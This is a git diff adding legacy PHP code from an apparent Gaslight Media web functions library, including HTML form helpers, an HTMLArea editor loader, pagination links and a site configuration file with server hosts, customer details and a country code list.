+                               <TD ALIGN="left"><A HREF="'.$BASE_URL.'">'.$BASE_URL.'</A></TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$BASE_SECURE_URL</B></TD>
+                               <TD ALIGN="left">'.$BASE_SECURE_URL.'</TD>
+                               </TR>
+                               </TABLE>
+                               &nbsp;
+                       <P>
+                               <HR WIDTH="600">
+                               <P>
+                               </CENTER>
+                               ';
+
+               }
+
+               /**
+                * htmlcode: Output code to enable htmlarea for the page
+                * MUST BE CALLED AFTER TEXTAREAS ON PAGE
+                * @param $$w = 570: width of htmlarea in px
+                * @param $$h = 400: height of htmlarea in px
+                * 
+                * @return void
+                * @access 
+                **/
+               function htmlcode($w = 570,$h = 400)
+               {
+                       echo '
+<style type="text/css">
+    /*<![CDATA[*/
+        <!--
+                .textarea { height: '.$h.' px; width: '.$w.' px; } 
+        -->
+        /*]]>*/
+    </style>
+<script type="text/javascript">
+    //<![CDATA[
+      _editor_url = "'.URL_BASE.'admin/htmlarea";
+      _editor_lang = "en";
+    //]]>
+    </script><!-- load the main HTMLArea file -->
+    <script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js">
+    </script>
+';
+                       echo '
+                       <script type="text/javascript">
+    //<![CDATA[
+          
+                 //HTMLArea.loadPlugin("ImageManager");
+                // HTMLArea.loadPlugin("CSS");
+                HTMLArea.loadPlugin("ContextMenu");
+                 HTMLArea.loadPlugin("TableOperations");
+     initdocument = function () {
+        var editor = new HTMLArea("description");
+  
+  // add a contextual menu
+  editor.registerPlugin("ContextMenu");
+
+  // load the stylesheet used by our CSS plugin configuration
+  editor.config.pageStyle = "@import url(../../styles.css);";
+  
+  // register the SpellChecker plugin
+  editor.registerPlugin(TableOperations); 
+  editor.generate();
+      } 
+        function addEvent(obj, evType, fn)
+        { 
+                if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+                else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+                else {  return false; } 
+        } 
+        addEvent(window, \'load\', initdocument);
+    //]]>
+    </script>  
+                               ';
+               }
+
+               /**
+                * date_entry : Generate the select boxes for date entry
+                * month-day-year as drop down select
+                * @param $month: 
+                * @param $day: 
+                * @param $year: 
+                * @param $month_name: name of select month 
+                * @param $day_name: name of select day 
+                * @param $$year_name : name of select year
+                * 
+                * @return 
+                * @access 
+                **/
+               function date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($month == "") 
+                       {
+                               $month = $cur_date['mon'];
+                       }
+                       if($day == "") 
+                       {
+                               $day = $cur_date['mday'];
+                       }       
+                       if($year == "") 
+                       {
+                               $year = $cur_date['year'];
+                       }
+                       $date = '<SELECT NAME="'.$month_name.'">';
+                       for($i=1;$i<13;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10)
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $month) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$day_name.'">';
+                       for($i=1;$i<32;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10) 
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $day) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }       
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$year_name.'">';
+                       for($i=2000;$i<2023;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="'.$i.'"';
+                               if($i == $year) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;
+                       }
+                       $date .= '</SELECT>';
+                       return $date;
+               }       
+
+               /**
+                * contact_date_entry : build select boxes for date entry going backwords in years
+                * @param $month: 
+                * @param $day: 
+                * @param $year: 
+                * @param $month_name: name of select month
+                * @param $day_name: name of select day
+                * @param $$year_name : name of select year
+                * 
+                * @return void
+                * @access 
+                **/
+               function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($month == "") 
+                       {
+                               $month = $cur_date['mon'];
+                       }
+                       if($day == "") 
+                       {
+                               $day = $cur_date['mday'];
+                       }       
+                       if($year == "") 
+                       {
+                               $year = $cur_date['year'];
+                       }
+                       $date = '<SELECT NAME="'.$month_name.'">';
+                       for($i=1;$i<13;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10)
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $month) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$day_name.'">';
+                       for($i=1;$i<32;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10) 
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $day) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }       
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$year_name.'">';
+                       $ystart = $cur_date['year'] - 10;
+                       for($i=$ystart;$i<=$year;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="'.$i.'"';
+                               if($i == $year) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;
+                       }
+                       $date .= '</SELECT>';
+                       return $date;
+               }
+
+               /**
+                * time_entry : build select boxes for time entry
+                * @param $H: 
+                * @param $m: 
+                * @param $F: 
+                * @param $H_name: name of select hour
+                * @param $m_name: name of select min
+                * @param $$F_name : name of select sec
+                * 
+                * @return 
+                * @access 
+                **/
+               function time_entry($H,$m,$F,$H_name,$m_name,$F_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($H == "") 
+                       {
+                               $H = $cur_date['hours'];
+                       }
+                       if($m == "") 
+                       {
+                               $m = $cur_date['minutes'];
+                       }       
+                       if($H>12) 
+                       {
+                               $F = "PM";
+                               $H = $H - 12;
+                       }
+                       $time = "Hr:<SELECT NAME=\"$H_name\" size=\"1\">";
+                       for($i=1;$i<=12;$i++) 
+                       {
+                               $time .= "<OPTION VALUE=\"";
+                               if($i < 10)
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\"";
+                               if($i == $H) 
+                               {
+                                       $time .= " SELECTED";
+                               }
+                               $time .= ">$i\n";       
+                       }
+                       $time .= "</SELECT>\n";
+                       $time .= "Min:<SELECT NAME=\"$m_name\" size=\"1\">";
+                       for($i=0;$i<60;$i=$i+15) 
+                       {
+                               $time .= "<OPTION VALUE=\"";
+                               if($i < 10) 
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\"";
+                               if($i == $m) 
+                               {
+                                       $time .= " SELECTED";
+                               }
+                               $time .= ">";
+                               if($i < 10) 
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\n";        
+                       }       
+                       $time .= "</SELECT>";
+                       $time .= "<SELECT NAME=\"$F_name\" size=\"1\">";
+                       $time .= "<OPTION VALUE=\"AM\"";
+                       if($F == "AM") 
+                       {
+                               $time .= " SELECTED";
+                       }
+                       $time .= ">AM\n";
+                       $time .= "<OPTION VALUE=\"PM\"";
+                       if($F == "PM") 
+                       {
+                               $time .= " SELECTED";
+                       }
+                       $time .= ">PM\n";
+                       $time .= "</SELECT>\n";
+                       return $time;
+               }
+
+               /**
+                * get_parentid: get the (highest level) parent category for this id
+                * @param $id: id from bus_category table
+                * 
+                * @return int parent  
+                * @access 
+                **/
+               function get_parentid( $id )
+               {
+                       static $parentshow;
+                       if( $id == 0 )
+                       {
+                               return( 0 );            
+                       }
+                       if(!is_array($parentshow))
+                       {
+                               $qs = "select parent from bus_category where id = $id";
+                               $parentrow = db_auto_get_data( $qs );     
+                       }
+                       if($parentrow[0]['parent'] == 0)
+                       {
+                               return($id);
+                       }
+                       else
+                       {
+                               return( get_parentid($parentrow[0]['parent']) );
+                       }
+               }
+
+               /**
+                * build_picklist:Builds a pick list from an array
+                * @param $fieldname: fieldname field name for select
+                * @param $data: data array of data
+                * @param $selected: selected witch element is selected
+                * @param $$type = "standard": type Standard,multi
+                * @param $$auto = 0: auto
+                * @param $$width = NULL : width width controlled by css
+                * 
+                * @return void 
+                * @access 
+                **/
+               function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+               {
+                       if(!is_array($selected))
+                       {
+                               $sel[0] = $selected;
+                       }
+                       else
+                       {
+                               $sel = $selected;
+                       }
+                       if($auto == 1)
+                               $autosubmit = "onChange=\"form.submit()\"";
+                       if($width)
+                               $autosubmit .= "style=\"width:".$width."px;\"";
+                       switch( $type )
+                       {
+                               case "multiple":
+                                       $str = "<SELECT NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       if( in_array($key,$sel) )
+                                       {
+                                               $select = " SELECTED ";
+                                       }
+                                       else
+                                               $select = "";
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+                               case "simple":
+                                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               for( $i=0 ; $i<count($data) ; $i++ ) 
+                               {
+                                       $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                               }
+                               break;
+
+                               case "standard":
+                               default:
+                                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                                       while( list($key, $val) = each($data) ) 
+                                       {
+                                               $select = (in_array($key,$sel)) ? " SELECTED ":"";
+                                               $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                                       }
+                                       break;
+                       }
+                       $str .= "</SELECT>\n";
+
+                       return( $str );
+
+               }
+
+               /**
+                * create_page_links:Create prev and next links 
+                * to page through the results.
+                * @param $totalnum: The total result of the query
+                * @param $num: The total result for the page
+                * @param $$start=0: The starting num defaults to 0
+                * @param $params: variables to add to the url
+                * @param $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+                * 
+                * @return string of links 
+                * @access 
+                **/
+               function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+               {
+                       // find out which page we're on.
+                       if($totalnum!=0)
+                       {  
+                               $total_pages = floor($totalnum / $page_length);         // total pages = the total result divided by page length rounded down 
+                               $total_pages++;                                                                         // then add one
+                               if($start == 0)                                                                         // if start is 0 then page is one
+                               {
+                                       $page = 1;                                                                              
+                               }
+                               else    
+                               {
+                                       $page = ($start / $page_length) + 1;
+                               }
+                       }
+
+                       if($totalnum > $page_length && ( $page != $totalpages ) )
+                       {
+                               $end = $page_length + $start;
+                       }
+                       else
+                       {
+                               $end = $totalnum;
+                       }
+                       $last = $start - $page_length;  
+                       if(($start - $page_length) < 0)
+                               $prev = "";
+                       else    
+                               $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                       href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+                                       class=\"accenttext\"> ]</span>";
+                       if($end < $totalnum)
+                               $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                       href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+                                       class=\"accenttext\"> ]</span>";
+                       else    
+                               $next = "";
+                       $starting = $start + 1; 
+                       $last_c = $start + $num;
+                       $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+                               class="accenttext">'.$starting.' to '.$last_c.'</span>
+                               <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' &nbsp; <span 
+                               class="pagetitle"></span> '.$next.'<BR></span></center>';       
+                       return($links);
+               }
+       }
+?>
diff --git a/siteinfo.inc b/siteinfo.inc
new file mode 100644 (file)
index 0000000..3ca86e3
--- /dev/null
@@ -0,0 +1,794 @@
+<?
+
+/********************************************************************************
+ *
+ *     FILE: siteinfo.inc - Portable site information
+ *
+ *     Copyright (C) 2002 - Gaslight Media - All Rights Reserved
+ *
+ ********************************************************************************/
+
+if( !defined("SITEINFO") )
+{
+
+define( "SITEINFO",                    TRUE );                 // Indicate that this file has been referenced
+
+/* These are now defined in the Dynamic section below
+define( "SI_DEBUG",                    0 );                    // Debug Level : 0=Off, 1, 2, 3, ... more debug info
+define( "SI_DEBUG_VIEW",       TRUE );                 // Display pop-up summary of data passed to parse_view() 
+define( "GLMPDF_DEBUG",        FALSE );                // Overlays output forms with calibration grid
+*/
+
+/********************************************************************************
+ *
+ *     DO NOT EDIT THIS SECTION
+ *
+ ********************************************************************************/
+
+       // Find where this file is located
+
+$si_base_path                          = dirname( __FILE__ );                  // Get Path where siteinfo resides
+$si_calling_script_name                = basename( $SCRIPT_NAME );             // Get name of calling script
+
+$si_called_from_dir            = substr( dirname($_SERVER["SCRIPT_FILENAME"]), strlen($si_base_path) );
+
+if( ($x = strlen($si_called_from_dir)) > 0 )
+       $si_base_url    = $HTTP_HOST.substr( dirname($SCRIPT_NAME), 0, -strlen($si_called_from_dir) );
+    else
+       {
+        $si_script_name_dir = dirname($SCRIPT_NAME);
+        if( $si_script_name_dir == "/" )
+                $si_script_name_dir = "";
+        $si_base_url       = $HTTP_HOST.$si_script_name_dir;
+       }
+
+$si_base_secure_url = "https://".$si_base_url;
+$si_base_insecure_url = "http://".$si_base_url;
+
+if( $HTTPS == "on" )
+       $si_base_url = "https://".$si_base_url;
+    else
+       $si_base_url = "http://".$si_base_url;
+
+
+/********************************************************************************
+ *
+ *     Dynamic Configuration - Parameters that DO change based on location
+ *
+ ********************************************************************************/
+
+switch( $GLM_SERVER_ID )
+       {
+
+       case "ChuckAtHome.gaslightmedia.com":
+       case "chuckweb.gaslightmedia.com":
+               $si_base_secure_url                                     = $si_base_url;
+               define( "SI_DB_HOST",                                   "" );
+               define( "SI_DB_NAME",                           "n8dnx" );
+               define( "SI_CUSTOMER_EMAIL",                    "cscott@localhost" );
+               define( "SI_CUSTOMER_INTERNAL_EMAIL",   "cscott@localhost" );
+               define( "SI_DEBUG",                                             0 );
+               define( "SI_DEBUG_VIEW",                                TRUE ); 
+               define( "SI_DEBUG_MAIL",                                TRUE ); 
+               define( 'SI_PATH_TO_GRAPHICS_TOOLS',    '/usr/bin' );
+               define( 'GPG_HOME',                                     '/var/www/.gnupg' );                            // Path to home directory for gpg to use
+               define( 'GPG_KEY_ID',                                   '2B06862A87605EAE' );           // Key ID for public key to use
+               break;
+
+       case "devsys.gaslightmedia.com":
+               $si_base_secure_url                                     = $si_base_url;
+               define( "SI_DB_HOST",                                   "devsys.gaslightmedia.com" );
+               define( "SI_DB_NAME",                           "n8dnx" );
+               define( "SI_CUSTOMER_EMAIL",                    "info@n8dnx.org" );
+               define( "SI_CUSTOMER_INTERNAL_EMAIL",   "cscott@n8dnx.org" );
+               define( "SI_DEBUG",                                             0 );
+               define( "SI_DEBUG_VIEW",                                FALSE ); 
+               define( "SI_DEBUG_MAIL",                                TRUE ); 
+               define( 'SI_PATH_TO_GRAPHICS_TOOLS',    '/usr/bin' );
+               define( 'GPG_HOME',                                     '/var/www/.gnupg' );                            // Path to home directory for gpg to use
+               define( 'GPG_KEY_ID',                                   '2B06862A87605EAE' );           // Key ID for public key to use
+               break;
+
+       case "ws1.gaslightmedia.com":
+               $si_base_secure_url                                             = "(none)";
+               $si_base_insecure_url                                   = "http://www.n8dnx.org";
+               define( "SI_DB_HOST",                                   "ds4.gaslightmedia.com" );
+               define( "SI_DB_NAME",                           "n8dnx" );
+               define( "SI_CUSTOMER_EMAIL",                    "info@n8dnx.org" );
+               define( "SI_CUSTOMER_INTERNAL_EMAIL",   "cscott@n8dnx.org,dscott@upnorth.net" );
+               define( "SI_DEBUG",                                             0 );
+               define( "SI_DEBUG_VIEW",                                FALSE ); 
+               define( "SI_DEBUG_MAIL",                                FALSE ); 
+               define( 'SI_PATH_TO_GRAPHICS_TOOLS',    '/usr/X11R6/bin' );
+               define( 'GPG_HOME',                                     '/var/www/.gnupg' );                            // Path to home directory for gpg to use
+               define( 'GPG_KEY_ID',                                   '2B06862A87605EAE' );           // Key ID for public key to use
+               break;
+
+       default:        // There should be no need for any settings here
+               break;
+
+       }
+
+/********************************************************************************
+ *
+ *     General Definitions
+ *
+ ********************************************************************************/
+
+
+define( "SI_SERVER",                                           $HTTP_HOST );                                           // Host name of server
+define( "SI_BASE_PATH",                                        $si_base_path );                                        // Path to root of site
+define( "SI_CALLED_FROM_DIR",                          $si_called_from_dir );                          // Directory where current executing file exists
+define( "SI_BASE_URL",                                         $si_base_url );                                         // URL to root of Web site
+define( "SI_BASE_SECURE_URL",                          $si_base_secure_url );                          // URL to root of Secure Web site
+define( "SI_BASE_INSECURE_URL",                        $si_base_insecure_url );                        // URL to root of Insecure Web site
+define( "SI_GLM_APPS",                                         $si_base_url."/glm_apps" );                     // GLM misc application modules URL
+define( "SI_GLM_SECURE_APPS",                          $si_base_secure_url."/glm_apps" );      // GLM misc application modules URL - Secure
+define( "SI_THIS_SCRIPT",                                      $si_calling_script_name );                      // The name of the calling script
+
+define( "SI_DB_USER",                                          "nobody" );
+define( "SI_DB_TYPE",                                          "postgres" );
+define( "SI_CONN_STR",                                         "host='".SI_DB_HOST."' dbname='".SI_DB_NAME."' user='".SI_DB_USER."'" );
+define( "SI_DB_DATE_STYLE",                                    "SQL" );
+               // ISO          - use ISO 8601-style dates and times,                                   "1997-12-17 07:37:16-08"
+               // SQL          - use Oracle/Ingres-style dates and times,                              "12/17/1997 07:37:16.00 PST"
+               // Postgres     - use traditional Postgres format,                                      "Wed Dec 17 07:37:16 1997 PST"
+               // European     - use dd/mm/yyyy for numeric date representations., "17/12/1997 15:37:16.00 MET"
+               // US           - use mm/dd/yyyy for numeric date representations.,     "12/17/1997 07:37:16.00 PST"
+               // German       - use dd.mm.yyyy for numeric date representations.,     "17.12.1997 07:37:16.00 PST"
+define( 'SI_DB_STATIC',                                                TRUE );                         // If true database functions don't automatically close a connection and will re-use if possible
+define( "SI_DB_SET_DATE_STYLE_STRING",         "SET DATESTYLE TO '".SI_DB_DATE_STYLE."';\n" );
+
+
+       // Graphics support
+
+define( "SI_GRPH_CONVERT",                                     "/usr/bin/convert" );
+define( "SI_GRPH_DJPEG",                                       "/usr/bin/djpeg ");
+define( "SI_GRPH_CJPEG",                                       "/usr/bin/cjpeg ");
+define( "SI_GRPH_PNMSCALE",                            "/usr/bin/pnmscale ");
+define( "SI_GRPH_GIFTOPNM",                            "/usr/bin/giftopnm ");
+define( "SI_GRPH_PPMTOGIF",                            "/usr/bin/ppmtogif ");
+define( "SI_GRPH_PPMQUANT",                            "/usr/bin/ppmquant ");
+
+define( "SI_IMAGE_DIR",                                                "images" );
+define( "SI_BASE_IMAGE_URL",                           SI_BASE_URL."/".SI_IMAGE_DIR );
+define( "SI_BASE_IMAGE_PATH",                          SI_BASE_PATH."/".SI_IMAGE_DIR );
+
+define( "SI_IMG_ORIGINAL_URL",                                 SI_BASE_IMAGE_URL."/original" );
+define( "SI_IMG_RESIZED_URL",                          SI_BASE_IMAGE_URL."/resized" );
+define( "SI_IMG_MIDSIZED_URL",                                 SI_BASE_IMAGE_URL."/midsized" );
+define( "SI_IMG_THUMB_URL",                            SI_BASE_IMAGE_URL."/thumb" );
+
+define( "SI_IMG_ORIGINAL_PATH",                        SI_BASE_IMAGE_PATH."/original" );
+define( "SI_IMG_RESIZED_PATH",                                 SI_BASE_IMAGE_PATH."/resized" );
+define( "SI_IMG_MIDSIZED_PATH",                        SI_BASE_IMAGE_PATH."/midsized" );
+define( "SI_IMG_THUMB_PATH",                           SI_BASE_IMAGE_PATH."/thumb" );
+define( "SI_POSTCARD_URL",                                     SI_BASE_URL."/index.phtml" );
+
+$si_today = date( 'n/d/Y' );                           // Today's date
+$si_timestamp = time();                                                // Current Timestamp
+
+define( "SI_COPYRIGHT_YEARS",                          "2002-".date("Y") );                            // Years for copyright statement in footer
+
+
+/********************************************************************************
+ *
+ *     Customer Related Configuration
+ *
+ ********************************************************************************/
+
+       // Information about the customer
+
+define( "SI_CUSTOMER_NAME",                            "N8DNX" );
+define( "SI_CUSTOMER_LONG_NAME",                       "Chuck Scott - N8DNX" );
+define( "SI_CUSTOMER_PHONE",                           "PHONE_NO_NOT_SET" );
+define( "SI_CUSTOMER_FAX",                                     "FAX_NO_NOT_SET" );
+define( "SI_CUSTOMER_TOLL_FREE",                       "231-347-9941" );
+define( "SI_CUSTOMER_ADDRESS",                         "1105 Tall Pines Ct." );
+define( "SI_CUSTOMER_CITY",                            "Petoskey" );
+define( "SI_CUSTOMER_STATE",                           "Michigan" );
+define( "SI_CUSTOMER_ZIP",                                     "49770" );
+define( "SI_CUSTOMER_FROM_EMAIL",                      "CUST_EMAIL_NOT_SET" );
+define( "SI_CUSTOMER_LETTER_CLOSING",          "Sincerely," );
+
+       // Strings for TITLE tags
+
+define( "SI_CUSTOMER_META_KEYWORDS",                   // Meta Keywords for search engines
+"Functions Library Development" );
+
+define( "SI_CUSTOMER_META_DESCR",                              // Meta description for search engines
+"Gaslight Media Standard Functions Library Development." );
+
+define( "SI_CUSTOMER_ASSETS",                          SI_BASE_URL."/assets" );
+
+define( "SI_CUST_LOGO",                                                "assets/logo.gif" );
+define( "SI_CUST_LOGO_MEDIUM",                         "assets/logo_medium.gif" );
+define( "SI_CUST_LOGO_SMALL",                          "assets/logo_small.gif" );
+
+define( "SI_CUST_LOGO_URL",                                    $si_base_url."/".SI_CUST_LOGO );
+define( "SI_CUST_LOGO_MEDIUM_URL",                     $si_base_url."/".SI_CUST_LOGO_MEDIUM );
+define( "SI_CUST_LOGO_SMALL_URL",                      $si_base_url."/".SI_CUST_LOGO_SMALL );
+
+
+//     -----------------------------------
+//     Application Specific Configurations
+//     -----------------------------------
+
+       // File Exchange
+       
+$TOOLS_TITLE           = "N8DNX File Exchange";
+$TOOLS_NAME                    = "FileExchange";
+$SERVER_URL                    = SI_BASE_URL.'/admin';
+$SERVER_PATH           = SI_BASE_PATH.'/admin';
+$DATA_PATH                     = SI_BASE_PATH.'/FileExchange/data';
+$CUST_URL                      = SI_BASE_URL.'/FileExchange';
+$DATA_URL                      = "$CUST_URL/data";
+$TOOLS_HELP_PATH       = SI_BASE_URL.'/FileExchange/help_files';
+
+       // Look and Feel section
+       
+$LF_BG_CLR             = "#C6EFF7";            // Background color
+$LF_LINK_CLR           = "#BLUE";              // Link color
+$LF_VLINK_CLR          = "#BLUE";              // Visited link color
+$LF_ALINK_CLR          = "#CYAN";              // Active link Color
+$LF_NOLINK_CLR         = "#A1A1A1";            // Unavailable link color
+
+$LF_TABLE_CLR          = "#FFFFFF";            // Table color (working area background)
+$LF_HEADER_CLR         = "#00A5C6";            // Table header background color
+$LF_FOOTER_CLR         = "#00A5C6";            // Table footer background color
+$LF_TITLE_CLR          = "#005263";            // Admin page title color
+$LF_TITLE_2_CLR                = "#FFFF10";            // Admin page title line #2 color
+$LF_REQ_FIELD_CLR      = "BLUE";               // Color of required fields in forms
+#LF_COPYWRIGHT_CLR     = "#005263";            // Copywright line color
+
+$LF_HELP_BG_CLR                = "#FFFFFF";            // Help system background color
+$LF_HELP_TEXT_CLR       = "#000000";           // Help system text color
+
+$LF_ERROR_CLR          = "red";                // Error message color
+
+$LF_HEAD1              = '<FONT SIZE="6" COLOR="'.$LF_HEADER_CLR.'">';
+
+       // Misc Definitions
+
+$ENTRIES_PER_PAGE      = 10;
+$GM_COPYWRIGHT         = "Copyright &copy; 1998-2000 <A HREF=\"http://www.gaslightmedia.com/\">Gaslight Media</A> - All rights reserved.";
+
+$header_sent           = FALSE;
+
+
+//     -------------------------------
+//     Other misc. configuration items
+//     -------------------------------
+
+       // Image related configuration
+
+define( "SI_THEIGHT",                                  "60" );
+define( "SI_RESIZED_SIZE",                             "287" );
+define( "SI_MIDSIZED_SIZE",                    "178" );
+define( "SI_THUMB_SIZE",                               "80" );
+
+       // Calender applet configuration
+
+define( "SI_CAL_BKND",                                 "#EFEFEF");             // Window Background color
+define( "SI_CAL_TABLE",                                        "#FFFFFF");             // Table background color
+define( "SI_CAL_HEAD",                                 "#FFFFFF");                     // Table Header Color (days)
+define( "SI_CAL_DATE",                                 "#FFFFFF");                     // Background color of days
+define( "SI_CAL_TODAY",                                        "yellow");                      // Background color of todays date
+define( "SI_CAL_NODATE",                               "#E0E0E0");                     // Background color of non-dates
+
+define( "SI_SES_TIMEOUT",                              "86400" );                      // Session timeout - 1 Hour
+
+       // Defaults for things in functions.inc
+       
+define( "SI_DEFAULT_TEXTBOX_COLS",             60 );
+define( "SI_DEFAULT_TEXTBOX_ROWS",             6 );
+
+
+
+
+//     ----------------------------------------------
+//     Other misc. things you don't need to mess with
+//     ----------------------------------------------
+
+$si_month_array = array
+       (
+       1       => "January",
+       2       => "February",
+       3       => "March",
+       4       => "April",
+       5       => "May",
+       6       => "June",
+       7       => "July",
+       8       => "August",
+       9       => "September",
+       10      => "October",
+       11      => "November",
+       12      => "December"
+       );
+
+       // Countries list
+       // For the "out of sequence" countries there is no need to remove them from the full list
+       // For update see....http://www.iso.ch/iso/en/prods-services/iso3166ma/02iso-3166-code-lists/index.html
+       
+$si_countries_array = array 
+       (
+               // Out of sequence for convenience
+       'US' => 'United States',
+       'CA' => 'Canada',
+       
+       "AF" => "Afghanistan",
+       "AX" => "Land Islands",
+       "AL" => "Albania",
+       "DZ" => "Algeria",
+       "AS" => "American Samoa",
+       "AD" => "Andorra",
+       "AO" => "Angola",
+       "AI" => "Anguilla",
+       "AQ" => "Antarctica",
+       "AG" => "Antigua and Barbuda",
+       "AR" => "Argentina",
+       "AM" => "Armenia",
+       "AW" => "Aruba",
+       "AU" => "Australia",
+       "AT" => "Austria",
+       "AZ" => "Azerbaijan",
+       "BS" => "Bahamas",
+       "BH" => "Bahrain",
+       "BD" => "Bangladesh",
+       "BB" => "Barbados",
+       "BY" => "Belarus",
+       "BE" => "Belgium",
+       "BZ" => "Belize",
+       "BJ" => "Benin",
+       "BM" => "Bermuda",
+       "BT" => "Bhutan",
+       "BO" => "Bolivia",
+       "BA" => "Bosnia and Herzegovina",
+       "BW" => "Botswana",
+       "BV" => "Bouvet Island",
+       "BR" => "Brazil",
+       "IO" => "British Indian Ocean Territory",
+       "BN" => "Brunei Darussalam",
+       "BG" => "Bulgaria",
+       "BF" => "Burkina Faso",
+       "BI" => "Burundi",
+       "KH" => "Cambodia",
+       "CM" => "Cameroon",
+       "CA" => "Canada",
+       "CV" => "Cape Verde",
+       "KY" => "Cayman Islands",
+       "CF" => "Central African Republic",
+       "TD" => "Chad",
+       "CL" => "Chile",
+       "CN" => "China",
+       "CX" => "Christmas Island",
+       "CC" => "Cocos (Keeling) Islands",
+       "CO" => "Colombia",
+       "KM" => "Comoros",
+       "CG" => "Congo",
+       "CD" => "Congo&#44; the Democratic Rep&#46; of",
+       "CK" => "Cook Islands",
+       "CR" => "Costa Rica",
+       "CI" => "Cote D'Ivoire",
+       "HR" => "Croatia",
+       "CU" => "Cuba",
+       "CY" => "Cyprus",
+       "CZ" => "Czech Republic",
+       "DK" => "Denmark",
+       "DJ" => "Djibouti",
+       "DM" => "Dominica",
+       "DO" => "Dominican Republic",
+       "EC" => "Ecuador",
+       "EG" => "Egypt",
+       "SV" => "El Salvador",
+       "GQ" => "Equatorial Guinea",
+       "ER" => "Eritrea",
+       "EE" => "Estonia",
+       "ET" => "Ethiopia",
+       "FK" => "Falkland Islands (Malvinas)",
+       "FO" => "Faroe Islands",
+       "FJ" => "Fiji",
+       "FI" => "Finland",
+       "FR" => "France",
+       "GF" => "French Guiana",
+       "PF" => "French Polynesia",
+       "TF" => "French Southern Territories",
+       "GA" => "Gabon",
+       "GM" => "Gambia",
+       "GE" => "Georgia",
+       "DE" => "Germany",
+       "GH" => "Ghana",
+       "GI" => "Gibraltar",
+       "GR" => "Greece",
+       "GL" => "Greenland",
+       "GD" => "Grenada",
+       "GP" => "Guadeloupe",
+       "GU" => "Guam",
+       "GT" => "Guatemala",
+       "GN" => "Guinea",
+       "GW" => "Guinea-Bissau",
+       "GY" => "Guyana",
+       "HT" => "Haiti",
+       "HM" => "Heard Island&#44; McDonald Islands",
+       "VA" => "Holy see (Vatican City State)",
+       "HN" => "Honduras",
+       "HK" => "Hong Kong",
+       "HU" => "Hungary",
+       "IS" => "Iceland",
+       "IN" => "India",
+       "ID" => "Indonesia",
+       "IR" => "Iran&#44; Islamic Republic of",
+       "IQ" => "Iraq",
+       "IE" => "Ireland",
+       "IL" => "Israel",
+       "IT" => "Italy",
+       "JM" => "Jamaica",
+       "JP" => "Japan",
+       "JO" => "Jordan",
+       "KZ" => "Kazakhstan",
+       "KE" => "Kenya",
+       "KI" => "Kiribati",
+       "KP" => "Korea&#44; Democratic People's Rep&#46; of",
+       "KR" => "Korea&#44; Republic of",
+       "KW" => "Kuwait",
+       "KG" => "Kyrgyzstan",
+       "LA" => "Lao People's Democratic Republic",
+       "LV" => "Latvia",
+       "LB" => "Lebanon",
+       "LS" => "Lesotho",
+       "LR" => "Liberia",
+       "LY" => "Libyan Arab Jamahiriya",
+       "LI" => "Liechtenstein",
+       "LT" => "Lithuania",
+       "LU" => "Luxembourg",
+       "MO" => "Macao",
+       "MK" => "Macedonia&#44; the Former Yugoslav Rep&#46;",
+       "MG" => "Madagascar",
+       "MW" => "Malawi",
+       "MY" => "Malaysia",
